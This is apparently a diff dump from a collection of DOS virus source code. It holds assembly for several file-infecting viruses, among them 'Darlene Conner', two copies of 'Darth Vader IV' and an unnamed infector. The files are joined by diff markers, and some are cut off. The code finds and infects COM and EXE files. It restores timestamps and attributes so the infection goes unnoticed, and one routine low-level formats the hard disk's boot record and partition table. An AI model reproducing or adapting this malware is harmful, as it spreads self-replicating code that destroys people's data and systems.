call findfirst
|
||||
|
||||
mov ah,9 ; Display string
|
||||
mov dx,offset virusname
|
||||
int 21h
|
||||
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
mov dx,offset oldint24 ; To original
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds ; Do this because the DS gets changed
|
||||
|
||||
int 20h ; quit program
|
||||
|
||||
findfirst:
|
||||
mov ah,4eh ; Find first file
|
||||
mov cx,7 ; Find all attributes
|
||||
|
||||
findnext:
|
||||
int 21h ; Find first/next file int
|
||||
jc quit ; If none found then change dir
|
||||
|
||||
call infection ; Infect that file
|
||||
|
||||
mov ah,4fh ; Find next file
|
||||
jmp findnext ; Jump to the loop
|
||||
|
||||
quit:
|
||||
ret
|
||||
|
||||
infection:
|
||||
quitinfect:
|
||||
ret
|
||||
|
||||
FinishInfection:
|
||||
xor cx,cx ; Set attriutes to none
|
||||
call attributes
|
||||
|
||||
mov al,2 ; open file read/write
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write virus to file
|
||||
mov cx,eof-virus ; Size of virus
|
||||
mov dx,100
|
||||
int 21h
|
||||
|
||||
closefile:
|
||||
mov ax,5701h ; Set files date/time back
|
||||
push bx
|
||||
mov cx,word ptr [bx]+16h ; Get old time from dta
|
||||
mov dx,word ptr [bx]+18h ; Get old date
|
||||
pop bx
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
xor cx,cx
|
||||
mov bx,80h
|
||||
mov cl,byte ptr [bx]+15h ; Get old Attributes
|
||||
call attributes
|
||||
|
||||
retn
|
||||
|
||||
open:
|
||||
mov ah,3dh ; open file
|
||||
mov dx,80h+30
|
||||
int 21h
|
||||
xchg ax,bx ; file handle in bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
mov dx,80h+30
|
||||
int 21h
|
||||
ret
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return from int 24 call
|
||||
|
||||
Virusname db 'Dan Conner - Anything You Say Dear...',10,13
|
||||
Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus
|
||||
Made_with db '[NOVEMBER 1994]',10,13 ; Please do not remove this
|
||||
db 'Hey: I LOVE ROSEANNE!','$'
|
||||
|
||||
comfilespec db '*.com',0 ; Holds type of file to look for
|
||||
|
||||
eof equ $ ; Marks the end of file
|
||||
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,284 @@
|
||||
;This program is a virus that infects all files, not just executables. It gets
|
||||
;the first five bytes of its host and stores them elsewhere in the program and
|
||||
;puts a jump to it at the start, along with the letters "GR", which are used to
|
||||
;by the virus to identify an already infected program. The virus also save
|
||||
;target file attributes and restores them on exit, so that date & time stamps
|
||||
;aren't altered as with ealier TIMID\GROUCHY\T-HEH variants.
|
||||
;when it runs out of philes to infect, it will do a low-level format of the HDD
|
||||
;starting with the partition table.
|
||||
|
||||
MAIN SEGMENT BYTE
|
||||
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
|
||||
|
||||
ORG 100H
|
||||
|
||||
;This is a shell of a program which will release the virus into the system.
|
||||
;All it does is jump to the virus routine, which does its job and returns to
|
||||
;it, at which point it terminates to DOS.
|
||||
|
||||
HOST:
|
||||
jmp NEAR PTR VIRUS_START ;Note: MASM is too stupid to assemble this correctly
|
||||
db 'GR'
|
||||
mov ah,4CH
|
||||
mov al,0
|
||||
int 21H ;terminate normally with DOS
|
||||
|
||||
VIRUS: ;this is a label for the first byte of the virus
|
||||
|
||||
COMFILE DB '*.*',0 ;search string for any file
|
||||
DSTRY DB 0,0,0,2, 0,0,1,2, 0,0,2,2, 0,0,3,2, 0,0,4,2, 0,0,5,2, 0,0,6,2, 0,0,7,2, 0,0,8,2, 0,0,9,2, 0,0,10,2, 0,0,11,2, 0,0,12,2, 0,0,13,2, 0,0,14,2, 0,0,15,2, 0,0,16,2
|
||||
FATTR DB 0
|
||||
FTIME DW 0
|
||||
FDATE DW 0
|
||||
|
||||
VIRUS_START:
|
||||
call GET_START ;get start address - this is a trick to determine the location of the start of this program
|
||||
GET_START: ;put the address of GET_START on the stack with the call,
|
||||
sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS ;which is overlayed by VIR_START. Subtract offsets to get @VIRUS
|
||||
mov dx,OFFSET DTA ;put DTA at the end of the virus for now
|
||||
mov ah,1AH ;set new DTA function
|
||||
int 21H
|
||||
call FIND_FILE ;get a file to attack
|
||||
jnz DESTROY ;returned nz - go to destroy routine
|
||||
call SAV_ATTRIB
|
||||
call INFECT ;have a good file to use - infect it
|
||||
call REST_ATTRIB
|
||||
EXIT_VIRUS:
|
||||
mov dx,80H ;fix the DTA so that the host program doesn't
|
||||
mov ah,1AH ;get confused and write over its data with
|
||||
int 21H ;file i/o or something like that!
|
||||
mov bx,[VIR_START] ;get the start address of the virus
|
||||
mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore the 5 original bytes
|
||||
mov WORD PTR [HOST],ax ;of the COM file to their
|
||||
mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2] ;to the start of the file
|
||||
mov WORD PTR [HOST+2],ax
|
||||
mov al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4] ;to the start of the file
|
||||
mov BYTE PTR [HOST+4],al
|
||||
mov [VIR_START],100H ;set up stack to do return to host program
|
||||
ret ;and return to host
|
||||
|
||||
START_CODE: ;move first 5 bytes from host program to here
|
||||
nop ;nop's for the original assembly code
|
||||
nop ;will work fine
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
DESTROY:
|
||||
mov AH,05H ;format hard disk starting at sector
|
||||
mov DL,80H ;0 and continuing through sector 16
|
||||
mov DH,0H ;this should wipe out the master boot
|
||||
mov CX,0000H ;record & partition table
|
||||
|
||||
|
||||
mov AL,11H ;low-level format information stored
|
||||
mov BX,OFFSET DSTRY ;at this OFFSET in the syntax 1,2,3,4,
|
||||
int 13H ;where 1=track number,2=head number,3=sector number
|
||||
;and 4=bytes/sector with 2=512 bytes/sector
|
||||
ret
|
||||
;---------------------------------------------------------------------------
|
||||
;---------------------------------------------------------------------------
|
||||
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
;Find a file which passes FILE_OK
|
||||
;
|
||||
;This routine does a simple directory search to find a COM file in the
|
||||
;current directory, to find a file for which FILE_OK returns with C reset.
|
||||
;
|
||||
FIND_FILE:
|
||||
mov dx,[VIR_START]
|
||||
add dx,OFFSET COMFILE - OFFSET VIRUS ;this is zero here, so omit it
|
||||
mov cx,3FH ;search for any file, no matter what the attributes
|
||||
mov ah,4EH ;do DOS search first function
|
||||
int 21H
|
||||
FF_LOOP:
|
||||
or al,al ;is DOS return OK?
|
||||
jnz FF_DONE ;no - quit with Z reset
|
||||
call FILE_OK ;return ok - is this a good file to use?
|
||||
jz FF_DONE ;yes - valid file found - exit with z set
|
||||
mov ah,4FH ;not a valid file, so
|
||||
int 21H ;do find next function
|
||||
jmp FF_LOOP ;and go test next file for validity
|
||||
FF_DONE:
|
||||
ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Function to determine whether the file specified in FNAME is useable.
|
||||
;if so return z, else return nz.
|
||||
;What makes a phile useable?:
|
||||
; a) There must be space for the virus without exceeding the
|
||||
; 64 KByte file size limit.
|
||||
; b) Bytes 0, 3 and 4 of the file are not a near jump op code,
|
||||
; and 'G', 'R', respectively
|
||||
;
|
||||
FILE_OK:
|
||||
mov ah,43H ;the beginning of this
|
||||
mov al,0 ;routine gets the file's
|
||||
mov dx,OFFSET FNAME ;attribute and changes it
|
||||
int 21H ;to r/w access so that when
|
||||
mov [FATTR],cl ;it comes time to open the
|
||||
mov ah,43H ;file, the virus can easily
|
||||
mov al,1 ;defeat files with a 'read only'
|
||||
mov dx,OFFSET FNAME ;attribute. It leaves the file r/w,
|
||||
mov cl,0 ;because who checks that, anyway?
|
||||
int 21H
|
||||
mov dx,OFFSET FNAME
|
||||
mov al,2
|
||||
mov ax,3D02H ;r/w access open file, since we'll want to write to it
|
||||
int 21H
|
||||
jc FOK_NZEND ;error opening file - quit and say this file can't be used (probably won't happen)
|
||||
mov bx,ax ;put file handle in bx
|
||||
push bx ;and save it on the stack
|
||||
mov cx,5 ;next read 5 bytes at the start of the program
|
||||
mov dx,OFFSET START_IMAGE ;and store them here
|
||||
mov ah,3FH ;DOS read function
|
||||
int 21H
|
||||
|
||||
pop bx ;restore the file handle
|
||||
mov ah,3EH
|
||||
int 21H ;and close the file
|
||||
|
||||
mov ax,WORD PTR [FSIZE] ;get the file size of the host
|
||||
add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;and add the size of the virus to it
|
||||
jc FOK_NZEND ;c set if ax overflows, which will happen if size goes above 64K
|
||||
cmp BYTE PTR [START_IMAGE],0E9H ;size ok - is first byte a near jump op code?
|
||||
jnz FOK_ZEND ;not a near jump, file must be ok, exit with z set
|
||||
cmp WORD PTR [START_IMAGE+3],5247H ;ok, is 'GR' in positions 3 & 4?
|
||||
jnz FOK_ZEND ;no, file can be infected, return with Z set
|
||||
FOK_NZEND:
|
||||
mov al,1 ;we'd better not infect this file
|
||||
or al,al ;so return with z reset
|
||||
ret
|
||||
FOK_ZEND:
|
||||
xor al,al ;ok to infect, return with z set
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
SAV_ATTRIB:
|
||||
mov ah,43H
|
||||
mov al,0
|
||||
mov dx,OFFSET FNAME
|
||||
int 21H
|
||||
mov [FATTR],cl
|
||||
mov ah,43H
|
||||
mov al,1
|
||||
mov dx, OFFSET FNAME
|
||||
mov cl,0
|
||||
int 21H
|
||||
mov dx,OFFSET FNAME
|
||||
mov al,2
|
||||
mov ah,3DH
|
||||
int 21H
|
||||
mov [HANDLE],ax
|
||||
mov ah,57H
|
||||
xor al,al
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov [FTIME],cx
|
||||
mov [FDATE],dx
|
||||
mov ax,WORD PTR [DTA+28]
|
||||
mov WORD PTR [FSIZE+2],ax
|
||||
mov ax,WORD PTR [DTA+26]
|
||||
mov WORD PTR [FSIZE],ax
|
||||
ret
|
||||
;------------------------------------------------------------------
|
||||
REST_ATTRIB:
|
||||
mov dx,[FDATE]
|
||||
mov cx, [FTIME]
|
||||
mov ah,57H
|
||||
mov al,1
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov ah,3EH
|
||||
mov bx,[HANDLE]
|
||||
int 21H
|
||||
mov cl,[FATTR]
|
||||
xor ch,ch
|
||||
mov ah,43H
|
||||
mov al,1
|
||||
mov dx,OFFSET FNAME
|
||||
int 21H
|
||||
|
||||
mov ah,31H ;terminate/stay resident
|
||||
mov al,0 ;and set aside 50 16-byte
|
||||
mov dx,0032H ;pages in memory, just
|
||||
int 21H ;to complicate things for the user
|
||||
;they might not notice this too quick!
|
||||
ret
|
||||
;---------------------------------------------------------------------------
|
||||
;This routine moves the virus (this program) to the end of the file
|
||||
;Basically, it just copies everything here to there, and then goes and
|
||||
;adjusts the 5 bytes at the start of the program and the five bytes stored
|
||||
;in memory.
|
||||
;
|
||||
INFECT:
|
||||
xor cx,cx ;prepare to write virus on new file; positon file pointer
|
||||
mov dx,cx ;cx:dx pointer = 0
|
||||
mov bx,WORD PTR [HANDLE]
|
||||
mov ax,4202H ;locate pointer to end DOS function
|
||||
int 21H
|
||||
|
||||
mov cx,OFFSET FINAL - OFFSET VIRUS ;now write the virus; cx=number of bytes to write
|
||||
mov dx,[VIR_START] ;ds:dx = place in memory to write from
|
||||
mov bx,WORD PTR [HANDLE] ;bx = file handle
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
|
||||
xor cx,cx ;now we have to go save the 5 bytes which came from the start of the
|
||||
mov dx,WORD PTR [FSIZE] ;so position the file pointer
|
||||
add dx,OFFSET START_CODE - OFFSET VIRUS ;to where START_CODE is in the new virus
|
||||
mov bx,WORD PTR [HANDLE]
|
||||
mov ax,4200H ;and use DOS to position the file pointer
|
||||
int 21H
|
||||
|
||||
mov cx,5 ;now go write START_CODE in the file
|
||||
mov bx,WORD PTR [HANDLE] ;get file handle
|
||||
mov dx,OFFSET START_IMAGE ;during the FILE_OK function above
|
||||
mov ah,40H
|
||||
int 21H
|
||||
|
||||
xor cx,cx ;now go back to the start of host program
|
||||
mov dx,cx ;so we can put the jump to the virus in
|
||||
mov bx,WORD PTR [HANDLE]
|
||||
mov ax,4200H ;locate file pointer function
|
||||
int 21H
|
||||
|
||||
mov bx,[VIR_START] ;calculate jump location for start of code
|
||||
mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9
|
||||
mov ax,WORD PTR [FSIZE] ;and then the relative address
|
||||
add ax,OFFSET VIRUS_START-OFFSET VIRUS-3 ;these go in the START_IMAGE area
|
||||
mov WORD PTR [START_IMAGE+1],ax
|
||||
mov WORD PTR [START_IMAGE+3],5247H ;and put 'GR' ID code in
|
||||
|
||||
mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE
|
||||
mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE
|
||||
mov bx,WORD PTR [HANDLE] ;file handle
|
||||
mov ah,40H ;DOS write function
|
||||
int 21H
|
||||
|
||||
ret ;all done, the virus is transferred
|
||||
|
||||
FINAL: ;label for last byte of code to be kept in virus when it moves
|
||||
|
||||
ENDVIRUS EQU $ + 212 ;label for determining space needed by virus
|
||||
;Note: 212 = FFFF - FF2A - 1 = size of data space
|
||||
; $ gives approximate size of code required for virus
|
||||
|
||||
ORG 0FF2AH
|
||||
|
||||
DTA DB 1AH dup (?) ;this is a work area for the search function
|
||||
FSIZE DW 0,0 ;file size storage area
|
||||
FNAME DB 13 dup (?) ;area for file path
|
||||
HANDLE DW 0 ;file handle
|
||||
START_IMAGE DB 0,0,0,0,0 ;an area to store 3 bytes for reading and writing to file
|
||||
VSTACK DW 50H dup (?) ;stack for the virus program
|
||||
VIR_START DW (?) ;start address of VIRUS (overlays the stack)
|
||||
|
||||
|
||||
MAIN ENDS
|
||||
|
||||
|
||||
END HOST
|
||||
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,171 @@
|
||||
; þ RonMail 1.0 þ Programmer's Inn - Home of FeatherNet (619)-446-4506
|
||||
;===========================================================================
|
||||
; BBS: The Programmer's Inn
|
||||
;Date: 11-24-91 (20:06) Number: 3556
|
||||
;From: AHMED DOGAN Refer#: NONE
|
||||
; To: ALL Recvd: NO
|
||||
;Subj: DARTH VADER Conf: (16) VIRUS
|
||||
;---------------------------------------------------------------------------
|
||||
;*********************************************************************
|
||||
;**********
|
||||
;*
|
||||
;*
|
||||
;* D A R T H V A D E R IV
|
||||
;*
|
||||
;*
|
||||
;*
|
||||
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia
|
||||
;*
|
||||
;* All Rights Reserved
|
||||
;*
|
||||
;*
|
||||
;&
|
||||
;* Enchanced by: Lazy Wizard
|
||||
;&
|
||||
;*
|
||||
;&
|
||||
;* Turbo Assembler 2.0
|
||||
;&
|
||||
;*
|
||||
;&
|
||||
;*********************************************************************
|
||||
;**********
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
Start:
|
||||
call NextLine
|
||||
First3:
|
||||
int 20h
|
||||
int 3
|
||||
NextLine:
|
||||
pop bx
|
||||
push ax
|
||||
xor di,di
|
||||
mov es,di
|
||||
mov es,es:[2Bh*4+2]
|
||||
mov cx,1000h
|
||||
call SearchZero
|
||||
jc ReturnControl
|
||||
xchg ax,si
|
||||
inc si
|
||||
SearchTable:
|
||||
dec si
|
||||
db 26h
|
||||
lodsw
|
||||
cmp ax,8B2Eh
|
||||
jne SearchTable
|
||||
db 26h
|
||||
lodsb
|
||||
cmp al,75h
|
||||
je ReturnControl
|
||||
cmp al,9Fh
|
||||
jne SearchTable
|
||||
mov si,es:[si]
|
||||
mov cx,LastByte-Start
|
||||
lea ax,[di+Handle-Start]
|
||||
org $-1
|
||||
xchg ax,es:[si+80h]
|
||||
sub ax,di
|
||||
sub ax,cx
|
||||
mov [bx+OldWrite-Start-2],ax
|
||||
mov word ptr [bx+NewStart+1-Start-3],di
|
||||
lea si,[bx-3]
|
||||
rep movsb
|
||||
ReturnControl:
|
||||
pop ax
|
||||
push ss
|
||||
pop es
|
||||
mov di,100h
|
||||
lea si,[bx+First3-Start-3]
|
||||
push di
|
||||
movsw
|
||||
movsb
|
||||
ret
|
||||
SearchZero:
|
||||
xor ax,ax
|
||||
inc di
|
||||
push cx
|
||||
push di
|
||||
mov cx,(LastByte-Start-1)/2+1
|
||||
repe scasw
|
||||
pop di
|
||||
pop cx
|
||||
je FoundPlace
|
||||
loop SearchZero
|
||||
stc
|
||||
FoundPlace:
|
||||
ret
|
||||
Handle:
|
||||
push bp
|
||||
call NextHandle
|
||||
NextHandle:
|
||||
;===========================================================================
|
||||
; BBS: The Programmer's Inn
|
||||
;Date: 11-24-91 (20:06) Number: 3557
|
||||
;From: AHMED DOGAN Refer#: NONE
|
||||
; To: ALL Recvd: NO
|
||||
;Subj: DARTH VADER <CONT> Conf: (16) VIRUS
|
||||
;---------------------------------------------------------------------------
|
||||
pop bp
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push si
|
||||
push di
|
||||
test ch,ch
|
||||
je Do
|
||||
mov ax,1220h
|
||||
int 2Fh
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
cmp es:[di+29h],'MO'
|
||||
jne Do
|
||||
cmp word ptr es:[di+15h],0
|
||||
jne Do
|
||||
push ds
|
||||
pop es
|
||||
mov di,dx
|
||||
mov ax,[di]
|
||||
mov [bp+First3-NextHandle],ax
|
||||
mov al,[di+2]
|
||||
mov [bp+First3+2-NextHandle],al
|
||||
call SearchZero
|
||||
jc Do
|
||||
push di
|
||||
NewStart:
|
||||
mov si,0
|
||||
mov cx,(LastByte-Start-1)/2
|
||||
cli
|
||||
rep
|
||||
db 36h
|
||||
movsw
|
||||
sti
|
||||
mov di,dx
|
||||
mov al,0E9h
|
||||
stosb
|
||||
pop ax
|
||||
sub ax,di
|
||||
dec ax
|
||||
dec ax
|
||||
stosw
|
||||
Do:
|
||||
pop di
|
||||
pop si
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop bp
|
||||
OldWrite:
|
||||
jmp start
|
||||
|
||||
LastByte label byte
|
||||
|
||||
end Start
|
||||
@@ -0,0 +1,317 @@
|
||||
; Darlene Conner written by MuTaTiON INTERRUPT
|
||||
; To compile this use TASM /M darlene.asm
|
||||
|
||||
|
||||
code segment public 'code'
|
||||
assume cs:code
|
||||
org 100h ; All .COM files start here
|
||||
|
||||
ID = 'AB' ; Id for infected files
|
||||
|
||||
start:
|
||||
db 0e9h,0,0 ; Jump to the next command
|
||||
|
||||
virus:
|
||||
call realcode ; Push current location on stack
|
||||
realcode:
|
||||
nop
|
||||
nop
|
||||
pop bp ; Get location off stack
|
||||
sub bp,offset realcode ; Adjust it for our pointer
|
||||
nop
|
||||
nop
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
|
||||
lea si,[bp+offset oldjump] ; Location of old jump in si
|
||||
mov di,100h ; Location of where to put it in di
|
||||
push di ; Save so we could just return when done
|
||||
movsb ; Move a byte
|
||||
movsw ; Move a word
|
||||
jmp exitrestore
|
||||
|
||||
restoreEXE:
|
||||
push ds ; Save ExE ds
|
||||
push es ; Save ExE es
|
||||
push cs
|
||||
pop ds ; DS now equals CS
|
||||
push cs
|
||||
pop es ; ES now equals CS
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
movsw ; Move a word
|
||||
|
||||
ExitRestore:
|
||||
lea dx,[bp+offset dta] ; Where to put New DTA
|
||||
call set_DTA ; Move it
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; To ES:BX
|
||||
mov word ptr [bp+oldint24],bx ; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
mov ah,47h ; Get the current directory
|
||||
mov dl,0h ; On current drive
|
||||
lea si,[bp+offset currentdir] ; Where to keep it
|
||||
int 21h
|
||||
|
||||
dirloop:
|
||||
lea dx,[bp+offset exefilespec]
|
||||
call findfirst
|
||||
lea dx,[bp+offset comfilespec]
|
||||
call findfirst
|
||||
|
||||
lea dx,[bp+offset directory] ; Where to change too '..'
|
||||
mov ah,3bh ; Change directory
|
||||
int 21h
|
||||
jnc dirloop ; If no problems the look for files
|
||||
|
||||
mov ah,9 ; Display string
|
||||
lea dx,[bp+virusname]
|
||||
int 21h
|
||||
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; To original
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds ; Do this because the DS gets changed
|
||||
|
||||
lea dx,[bp+offset currentdir] ; Location Of original dir
|
||||
mov ah,3bh ; Change to there
|
||||
int 21h
|
||||
|
||||
mov dx,80h ; Location of original DTA
|
||||
call set_dta ; Put it back there
|
||||
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
|
||||
retn ; Return to 100h to original jump
|
||||
|
||||
ReturnEXE:
|
||||
pop es ; Get original ES
|
||||
pop ds ; Get original DS
|
||||
|
||||
mov ax,es
|
||||
add ax,10h
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear int's because of stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; Jump ssss:oooo
|
||||
jmpsave dd ? ; Jump location
|
||||
stacksave dd ? ; Original cs:ip
|
||||
jmpsave2 dd 0fff00000h ; Used with carrier file
|
||||
stacksave2 dd ?
|
||||
|
||||
findfirst:
|
||||
mov ah,4eh ; Find first file
|
||||
mov cx,7 ; Find all attributes
|
||||
|
||||
findnext:
|
||||
int 21h ; Find first/next file int
|
||||
jc quit ; If none found then change dir
|
||||
|
||||
call infection ; Infect that file
|
||||
|
||||
Findnext2:
|
||||
mov ah,4fh ; Find next file
|
||||
jmp findnext ; Jump to the loop
|
||||
|
||||
quit:
|
||||
ret
|
||||
|
||||
infection:
|
||||
mov ax,3d00h ; Open file for read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
mov cx,1ah
|
||||
lea dx,[bp+offset buffer] ; Location to store them
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM' ; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
|
||||
cmp ax,'DN' ; Does End in comma'ND'? (reverse order)
|
||||
jz quitinfect ; Yup so get another file
|
||||
|
||||
CheckCom:
|
||||
mov bx,[bp+offset dta+1ah] ; Get file size
|
||||
mov cx,word ptr [bp+buffer+1] ; Get jump loc of file
|
||||
add cx,eof-virus+3 ; Add for virus size
|
||||
|
||||
cmp bx,cx ; Does file size=file jump+virus size
|
||||
jz quitinfect ; Yup then get another file
|
||||
jmp infectcom
|
||||
|
||||
CheckExe:
|
||||
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
|
||||
jz quitinfect ; Already infected so close up
|
||||
jmp infectexe
|
||||
|
||||
quitinfect:
|
||||
ret
|
||||
|
||||
InfectCom:
|
||||
sub bx,3 ; Adjust for new jump
|
||||
lea si,[bp+buffer]
|
||||
lea di,[bp+oldjump]
|
||||
movsw
|
||||
movsb
|
||||
mov [bp+buffer],byte ptr 0e9h
|
||||
mov word ptr [bp+buffer+1],bx ; Save for later
|
||||
|
||||
mov cx,3 ; Number of bytes to write
|
||||
|
||||
jmp finishinfection
|
||||
InfectExe:
|
||||
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
|
||||
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
|
||||
mov word ptr [bp+jmpsave2+2],es
|
||||
|
||||
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
|
||||
mov word ptr [bp+stacksave2],es ; save old cs:ip
|
||||
mov word ptr [bp+stacksave2+2],ax
|
||||
|
||||
mov ax, word ptr [bp+buffer+8] ; get header size
|
||||
mov cl,4
|
||||
shl ax,cl
|
||||
xchg ax,bx
|
||||
les ax,[bp+offset DTA+26] ; get files size from dta
|
||||
mov dx,es ; its now in dx:ax
|
||||
push ax ; save these
|
||||
push dx
|
||||
|
||||
sub ax,bx ; subtract header size from fsize
|
||||
sbb dx,0 ; subtract the carry too
|
||||
mov cx,10h ; convert to segment:offset form
|
||||
div cx
|
||||
|
||||
mov word ptr [bp+buffer+14h],dx ; put in new header
|
||||
mov word ptr [bp+buffer+16h],ax ; cs:ip
|
||||
|
||||
mov word ptr [bp+buffer+0eh],ax ; ss:sp
|
||||
mov word ptr [bp+buffer+10h],id ; put id in for later
|
||||
pop dx ; get the file length back
|
||||
pop ax
|
||||
|
||||
add ax,eof-virus ; add virus size
|
||||
adc dx,0 ; add with carry
|
||||
|
||||
mov cl,9 ; calculates new file size
|
||||
push ax
|
||||
shr ax,cl
|
||||
ror dx,cl
|
||||
stc
|
||||
adc dx,ax
|
||||
pop ax
|
||||
and ah,1
|
||||
|
||||
mov word ptr [bp+buffer+4],dx ; save new file size in header
|
||||
mov word ptr [bp+buffer+2],ax
|
||||
|
||||
push cs ; es = cs
|
||||
pop es
|
||||
|
||||
mov cx,1ah ; Number of bytes to write (Header)
|
||||
FinishInfection:
|
||||
push cx ; save # of bytes to write
|
||||
xor cx,cx ; Set attriutes to none
|
||||
call attributes
|
||||
|
||||
mov al,2 ; open file read/write
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Location of bytes
|
||||
pop cx ; Get number of bytes to write
|
||||
int 21h
|
||||
jc closefile
|
||||
|
||||
mov al,02 ; Move Fpointer to eof
|
||||
Call move_fp
|
||||
|
||||
mov ah,40h ; Write virus to file
|
||||
mov cx,eof-virus ; Size of virus
|
||||
lea dx,[bp+offset virus] ; Location to start from
|
||||
int 21h
|
||||
|
||||
closefile:
|
||||
mov ax,5701h ; Set files date/time back
|
||||
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
|
||||
mov dx,word ptr [bp+dta+18h] ; Get old date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
xor cx,cx
|
||||
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
|
||||
call attributes
|
||||
|
||||
retn
|
||||
|
||||
move_fp:
|
||||
mov ah,42h ; Move file pointer
|
||||
xor cx,cx ; Al has location
|
||||
xor dx,dx ; Clear these
|
||||
int 21h
|
||||
retn
|
||||
|
||||
set_dta:
|
||||
mov ah,1ah ; Move the DTA location
|
||||
int 21h
|
||||
retn
|
||||
|
||||
open:
|
||||
mov ah,3dh ; open file
|
||||
lea dx,[bp+DTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx ; file handle in bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+DTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return from int 24 call
|
||||
|
||||
Virusname db 'Darlene Conner - Basketball Anyone?',10,13 ; Name Of The Virus
|
||||
Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus
|
||||
Made_with db '[NOVEMBER 1994]',10,13,'$' ; Please do not remove this
|
||||
|
||||
comfilespec db '*.com',0 ; Holds type of file to look for
|
||||
exefilespec db '*.exe',0 ; Holds type of file to look for
|
||||
directory db '..',0 ; Directory to change to
|
||||
oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit
|
||||
|
||||
eof equ $ ; Marks the end of file
|
||||
|
||||
currentdir db 64 dup (?) ; Holds the current dir
|
||||
dta db 42 dup (?) ; Location of new DTA
|
||||
buffer db 1ah dup (?) ; Holds exe header
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,151 @@
|
||||
;******************************************************************************
|
||||
;* *
|
||||
;* D A R T H V A D E R IV *
|
||||
;* *
|
||||
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
|
||||
;* All Rights Reserved *
|
||||
;* *
|
||||
;* Enchanced by: Lazy Wizard *
|
||||
;* *
|
||||
;* Turbo Assembler 2.0 *
|
||||
;* *
|
||||
;******************************************************************************
|
||||
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
Start:
|
||||
call NextLine
|
||||
First3:
|
||||
int 20h
|
||||
int 3
|
||||
NextLine:
|
||||
pop bx
|
||||
push ax
|
||||
xor di,di
|
||||
mov es,di
|
||||
mov es,es:[2Bh*4+2]
|
||||
mov cx,1000h
|
